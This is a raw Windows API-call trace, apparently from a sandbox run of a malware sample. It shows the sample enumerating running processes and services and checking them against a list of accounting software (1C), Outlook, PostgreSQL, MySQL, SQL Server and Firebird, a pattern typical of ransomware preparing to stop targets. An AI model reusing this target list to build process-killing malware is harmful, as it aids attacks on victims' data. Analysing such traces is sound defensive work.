[0238.996] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.996] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.996] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.997] lstrlenW (lpString="wininit.exe") returned 11 [0238.997] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0238.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0238.997] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0238.997] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0238.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0238.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0238.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0238.997] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.997] lstrlenW (lpString="csrss.exe") returned 9 [0238.997] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.997] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.997] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.997] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.998] lstrlenW (lpString="winlogon.exe") returned 12 [0238.998] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0238.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0238.998] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0238.998] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0238.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0238.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0238.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0238.998] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.998] lstrlenW (lpString="services.exe") returned 12 [0238.998] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0238.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0238.998] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0238.998] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0238.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0238.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0238.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0238.998] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.999] lstrlenW (lpString="lsass.exe") returned 9 [0238.999] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0238.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0238.999] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0238.999] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0238.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0238.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0238.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0238.999] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.999] lstrlenW (lpString="lsm.exe") returned 7 [0238.999] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0238.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0238.999] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0238.999] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0238.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0238.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0238.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0238.999] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.999] lstrlenW (lpString="svchost.exe") returned 11 [0239.000] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0239.000] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.000] lstrlenW (lpString="svchost.exe") returned 11 [0239.000] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0239.000] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.000] lstrlenW (lpString="svchost.exe") returned 11 [0239.000] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0239.001] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0239.001] lstrlenW (lpString="LogonUI.exe") returned 11 [0239.001] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0239.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0239.001] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0239.001] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0239.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0239.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0239.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0239.001] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.001] lstrlenW (lpString="svchost.exe") returned 11 [0239.001] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.001] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.002] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.002] lstrlenW (lpString="svchost.exe") returned 11 [0239.002] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.002] lstrlenW (lpString="audiodg.exe") returned 11 [0239.002] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.002] lstrlenW (lpString="svchost.exe") returned 11 [0239.003] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.003] lstrlenW (lpString="svchost.exe") returned 11 [0239.003] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0239.003] lstrlenW (lpString="userinit.exe") returned 12 [0239.003] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.003] lstrlenW (lpString="dwm.exe") returned 7 [0239.003] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.004] lstrlenW (lpString="explorer.exe") returned 12 [0239.004] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.004] lstrlenW (lpString="spoolsv.exe") returned 11 [0239.004] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.004] lstrlenW (lpString="taskhost.exe") returned 12 [0239.004] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.005] lstrlenW (lpString="svchost.exe") returned 11 [0239.005] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0239.005] lstrlenW (lpString="uyuquk.exe") returned 10 [0239.005] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.005] lstrlenW (lpString="reader_sl.exe") returned 13 [0239.005] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.005] lstrlenW (lpString="cmd.exe") returned 7 [0239.006] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.006] lstrlenW (lpString="conhost.exe") returned 11 [0239.006] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0239.006] CloseHandle (hObject=0x360) returned 1 [0239.006] Sleep (dwMilliseconds=0x1f4) [0239.660] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0239.660] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0239.661] GetLastError () returned 0xea [0239.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x42e73a0 [0239.661] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0239.661] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0239.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0239.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0239.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0239.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0239.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0239.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0239.662] lstrlenW (lpString="AudioSrv") returned 8 [0239.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0239.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0239.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0239.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0239.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0239.663] lstrlenW (lpString="BFE") returned 3 [0239.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0239.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0239.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0239.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0239.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0239.663] lstrlenW (lpString="CryptSvc") returned 8 [0239.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0239.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0239.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0239.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0239.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0239.663] lstrlenW (lpString="CscService") returned 10 [0239.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0239.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0239.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0239.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0239.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0239.663] lstrlenW (lpString="DcomLaunch") returned 10 [0239.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0239.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0239.663] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0239.663] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0239.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0239.663] lstrlenW (lpString="Dhcp") returned 4 [0239.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0239.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0239.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0239.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0239.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0239.663] lstrlenW (lpString="Dnscache") returned 8 [0239.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0239.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0239.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0239.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0239.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0239.664] lstrlenW (lpString="DPS") returned 3 [0239.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0239.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0239.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0239.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0239.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0239.664] lstrlenW (lpString="eventlog") returned 8 [0239.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0239.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0239.664] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0239.664] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0239.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0239.664] lstrlenW (lpString="EventSystem") returned 11 [0239.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0239.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0239.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0239.664] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0239.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0239.664] lstrlenW (lpString="gpsvc") returned 5 [0239.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0239.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0239.664] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0239.664] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0239.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0239.664] lstrlenW (lpString="LanmanWorkstation") returned 17 [0239.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0239.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0239.664] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0239.664] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0239.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0239.664] lstrlenW (lpString="lmhosts") returned 7 [0239.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0239.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0239.664] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0239.664] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0239.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0239.664] lstrlenW (lpString="MMCSS") returned 5 [0239.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0239.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0239.665] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0239.665] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0239.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0239.665] lstrlenW (lpString="MpsSvc") returned 6 [0239.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0239.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0239.665] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0239.665] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0239.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0239.665] lstrlenW (lpString="NlaSvc") returned 6 [0239.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0239.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0239.665] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0239.665] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0239.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0239.665] lstrlenW (lpString="nsi") returned 3 [0239.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0239.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0239.665] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0239.665] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0239.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0239.665] lstrlenW (lpString="PcaSvc") returned 6 [0239.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0239.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0239.665] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0239.665] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0239.666] lstrlenW (lpString="PlugPlay") returned 8 [0239.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0239.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0239.666] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0239.666] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0239.666] lstrlenW (lpString="Power") returned 5 [0239.666] 